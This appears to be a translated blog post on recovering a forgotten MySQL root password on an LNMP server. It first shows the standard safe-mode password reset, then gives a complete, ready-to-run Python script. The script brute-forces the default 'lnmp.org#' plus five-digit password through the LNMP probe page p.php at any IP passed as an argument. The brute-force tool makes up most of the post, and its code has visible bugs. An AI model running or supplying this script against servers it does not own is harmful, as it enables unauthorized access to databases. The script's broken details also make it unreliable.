My blog previously used the lnmp program to set up the web environment, but when I needed to use MySQL, I found that the LNMP installation log file was missing and the MySQL root password was forgotten. I remembered that when I installed LNMP, I just pressed Enter all the way. The default LNMP password is lnmp.org#
plus 5 random digits, resulting in only 100,000 possibilities. In this scenario, a brute-force attack of 100,000 attempts will certainly find the password. Therefore, there are two ways to recover the default LNMP database root password:
- Stop the MySQL service, log in in safe mode, and change the root password.
- Use
requests
andmultiprocessing
for a multi-threaded brute-force attack.
Stopping MySQL Service, Logging in Safe Mode, and Changing Root Password
This is a general method for resetting the MySQL server’s root password. It requires stopping the server for a period, which might cause service unavailability. For large sites, this could lead to database service outages, but for low-traffic sites, it’s not a major concern.
Stopping MySQL Service and Starting MySQL in Safe Mode
Here are the commands:
service mysql stop #or systemctl stop mysql.service
mysqld_safe --skip-grant-tables &
Logging into MySQL Without a Password and Changing Root Password
mysql
Modify the mysql.user
table to change the root password:
UPDATE mysql.user SET Password=PASSWORD('new_password') WHERE User='root';
Restarting MySQL Service
service mysql restart # or systemctl restart mysql.service
You can now log in with the new root password.
Using requests
and multiprocessing
for Multi-threaded Brute-force Cracking of the Default Probe File
Generating All Possible LNMP Passwords
The main step is to generate the numeric part of all possible default LNMP passwords, totaling 100,000 possibilities, and then shuffle their order.
import random
def generate_pass_list():
ran = list(range(1,100000))
random.shuffle(ran)
return ran
Inspecting Requests and Writing the Cracking Function
Of course, you could also directly use bash
to call MySQL locally, but here, to get familiar with Python’s network module requests
and multi-threading module multiprocessing
, we’ll use Python for everything.
First, open the probe page in a browser, log in with any password, and use Chrome’s network inspection feature to view the request.
You can see the POST data is:
Generate the POST data format directly as a Python dictionary:
"host":"localhost","port":"3306","login":"root","password":"root","act":"MySQL detection"
Given a list of numbers, automatically start cracking the probe password under the IP.
global url
url = "http://127.0.0.1/p.php"
def brute_php(listc):
for i in listc:
passw = "lnmp.org#"+str(i).zfill(5)
try:
text = requests.post(url,data={"host":"localhost","port":"3306","login":"root","password":passw,"act":"MySQL检测"}).text
if u"连接到MySql数据库正常" in text:
print("congratulations:lnmp.org#{}".format(i))
sys.exit(0)
except:
print("{}n".format(i))
Using Multiprocessing Multi-threaded Mode
For multiprocessing
usage, refer to the official multiprocessing manual. Here’s an explanation of the main parts:
- First, use
multiprocessing.Pool
to create an object with a specified number of threads. - Then, use
map
to provide the function to be run and the given parameters. Here, the 100,000 passwords are split by the number of threads, and each thread’s parameters are put into theargs
array. - Finally, use
map
to run the multi-threaded script.
See the code below for direct use in your script.
def multiprocess_brute_lnmp():
# url = "http://{}/p.php".format(url)
ran = generate_pass_list()
n_process = min(20, multiprocessing.cpu_count())
p = multiprocessing.Pool(processes=n_process)
len_indexs = len(ran)//n_process
args = []
args.append(ran[:len_indexs])
for i in range(1,n_process-1):
args.append(ran[(i-1)*len_indexs:i* len_indexs])
args.append(ran[(n_process-1)*len_indexs:])
for _ in p.map(brute_php, args):
pass
Generating the Final Python Script
Combining the above aspects, here’s the final script that can directly crack the default LNMP-installed database’s root password.
import requests
import multiprocessing
import random
import sys
import os.path
def generate_pass_list():
if len(sys.argv)>2:
return open(sys.argv[2]).read().split()
if not os.path.isfile("lnmp_pass.txt"):
ran = list(range(1,100000))
random.shuffle(ran)
with open('lnmp_pass.txt','w') as fw:
for i in ran:
fw.write(str(i)+"n")
return ran
else:
return open("lnmp_pass.txt").read().split()
def brute_php(listc):
c = 0
for i in listc:
passw = "lnmp.org#"+str(i).zfill(5)
try:
text = requests.post(url,data={"host":"localhost","port":"3306","login":"root","password":passw,"act":"MySQL检测"}).text
if u"连接到MySql数据库正常" in text:
print("congratulations:lnmp.org#{}".format(i))
fw.write("password find :{}n".format(passw))
sys.exit(0)
except:
fw.write("{}n".format(i))
c += 1
def multiprocess_brute_lnmp():
# url = "http://{}/p.php".format(url)
ran = generate_pass_list()
n_process = min(20, multiprocessing.cpu_count())
p = multiprocessing.Pool(processes=n_process)
len_indexs = len(ran)//n_process
args = []
args.append(ran[:len_indexs])
for i in range(1,n_process-1):
args.append(ran[(i-1)*len_indexs:i* len_indexs])
args.append(ran[(n_process-1)*len_indexs:])
for _ in p.map(brute_php, args):
pass
def help():
help = '''
Reasonable use of this script
Format: python name.py 127.0.0.1
or python name.py 127.0.0.1 number_list.txt
The first parameter is the IP address, the second parameter is the text file of the number list, one number per line
'''
print(help)
if __name__ == '__main__':
if len(sys.argv) == 1:
print(help())
sys.exit(0)
global url
url = "http://{}/p.php".format(sys.argv[1])
with open("{}.log".format(sys.argv[-1]),'w') as fw:
multiprocess_brute_lnmp()
The instructions state that the first parameter specifies the IP, and the second parameter is a text file containing the number list, with one number per line.
Running the script and making a POST request to the local p.php
probe ultimately retrieves the default LNMP MySQL root password.
Summary
This article primarily focuses on using the opportunity to reset the MySQL root password to familiarize and utilize Python’s multiprocessing
multi-threading module and the requests
module’s POST functionality. Ultimately, it demonstrates how to complete a multi-threaded online brute-force attack to crack the default MySQL password in an LNMP environment.